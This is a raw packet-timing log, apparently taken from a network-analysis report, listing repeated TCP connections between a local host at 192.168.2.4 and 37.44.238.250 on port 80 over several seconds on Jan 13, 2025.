                                                                  Jan 13, 2025 13:11:38.960876942 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.960897923 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.960908890 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.960932970 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.960977077 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.960995913 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961008072 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961054087 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961065054 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961097956 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961108923 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961148977 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961163044 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961182117 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961240053 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961251020 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961261988 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:38.961273909 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.126894951 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.129026890 CET4990580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:39.133810043 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.315275908 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.315495968 CET4990580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:39.320635080 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.320724964 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.320754051 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.747741938 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.860848904 CET4991380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:39.872368097 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:39.970221043 CET4990580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.059668064 CET4990080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.059741974 CET4990580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.059775114 CET4991380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.061306953 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.064708948 CET804990037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.064754009 CET4990080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.065259933 CET804990537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.065284014 CET804991337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.065315008 CET4990580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.065325975 CET4991380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.066076040 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.066140890 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.066353083 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.071216106 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.430927992 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:40.435962915 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.435992002 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.436003923 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.699234962 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.830414057 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:40.830897093 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.375906944 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.376616955 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.381047010 CET804992437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:41.381100893 CET4992480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.381412983 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:41.381467104 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.381592035 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.386400938 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:41.735970974 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:41.740977049 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:41.740993977 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:41.741005898 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.018508911 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.039619923 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.039890051 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.039953947 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.040081978 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.045011044 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.136805058 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.137763023 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.251467943 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.392194986 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.397047043 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.397133112 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.427726030 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.432657957 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.434894085 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.435061932 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.439805984 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.688838959 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.767097950 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.783134937 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:42.787992001 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.788007975 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.788019896 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.825335026 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:42.954633951 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.091999054 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.227118015 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.228954077 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.796646118 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.796694040 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.796732903 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.798851967 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.801660061 CET804992837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.801713943 CET4992880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.801969051 CET804993337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.801981926 CET804993437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.802000999 CET4993380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.802232027 CET4993480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.803680897 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:43.803745985 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.803860903 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:43.808676958 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.158210039 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.163156986 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.163173914 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.163186073 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.432512999 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.563190937 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.563292027 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.882312059 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.882962942 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.887423992 CET804994037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.887481928 CET4994080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.887732029 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:44.887793064 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.887940884 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:44.892651081 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.235935926 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.240816116 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.240854025 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.240866899 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.516731977 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.563951969 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.690948963 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.863533974 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.863832951 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.868746996 CET804994737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.868768930 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:45.868828058 CET4994780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.868860960 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.868968964 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:45.873764038 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.220324993 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:46.225173950 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.225188971 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.225200891 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.573034048 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.653430939 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:46.653527021 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.207597017 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.208364964 CET4995980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.212574959 CET804995337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.212620974 CET4995380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.213191986 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.213255882 CET4995980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.213363886 CET4995980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.218072891 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.564093113 CET4995980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.568972111 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.568989038 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.569000006 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.750087023 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.754900932 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.754990101 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.755084038 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.759844065 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.847623110 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.851331949 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.852382898 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.852436066 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.852536917 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:47.857285976 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.983495951 CET804995937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:47.983555079 CET4995980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.112565041 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.117374897 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.204906940 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.209922075 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.210048914 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.412208080 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.504786015 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.547110081 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.548716068 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.551459074 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.556231976 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.563986063 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.675906897 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.743451118 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.744750977 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:48.749631882 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.749646902 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.749655962 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:48.876465082 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.013087988 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.015156984 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.020076036 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.190069914 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.190788984 CET4997280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.195174932 CET804996237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.195251942 CET4996280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.195549011 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.195611954 CET4997280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.195755959 CET4997280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.200500965 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.207384109 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.207720995 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.212589025 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212599039 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212651014 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.212663889 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212675095 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212722063 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.212724924 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212734938 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212776899 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212779045 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.212835073 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.212924004 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212934017 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212990999 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.212990999 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.213001013 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.213051081 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.213072062 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.213082075 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.213136911 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217412949 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217511892 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217523098 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217586040 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217629910 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217669964 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217750072 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217813015 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217822075 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217888117 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217906952 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.217964888 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.217984915 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.218046904 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.218106985 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.218125105 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.218172073 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.218199968 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.218238115 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.218291044 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222342968 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222431898 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222459078 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222520113 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222604036 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222657919 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222732067 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222779036 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222786903 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222842932 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222868919 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222877979 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222923994 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.222953081 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.222963095 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223016977 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.223037958 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223047972 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223092079 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223097086 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.223128080 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223134041 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.223170042 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223179102 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223217964 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.223248959 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.223251104 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223261118 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223346949 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223357916 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223402023 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223408937 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223480940 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223489046 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223547935 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223556042 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223654032 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223661900 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223670959 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223680973 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223732948 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223741055 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223778963 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223786116 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223855019 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223862886 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223926067 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.223933935 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224005938 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224014044 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224035978 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224091053 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224162102 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224169970 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.224188089 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227323055 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227389097 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227397919 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227452040 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227468014 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227590084 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227598906 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227675915 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227684021 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227713108 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227762938 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227897882 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227906942 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227941036 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.227956057 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228014946 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228079081 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228089094 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228149891 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228163958 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228172064 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228247881 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228255987 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228295088 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228302002 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228378057 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228387117 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228411913 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228441954 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228514910 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228523016 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228589058 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228596926 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228627920 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228663921 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.228693008 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.548532963 CET4997280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:49.553503036 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.553515911 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.553544998 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.843588114 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.977324009 CET804997237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:49.977391005 CET4997280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:50.026631117 CET804996037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:50.196300030 CET4996080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:50.196316004 CET4995980192.168.2.437.44.238.250
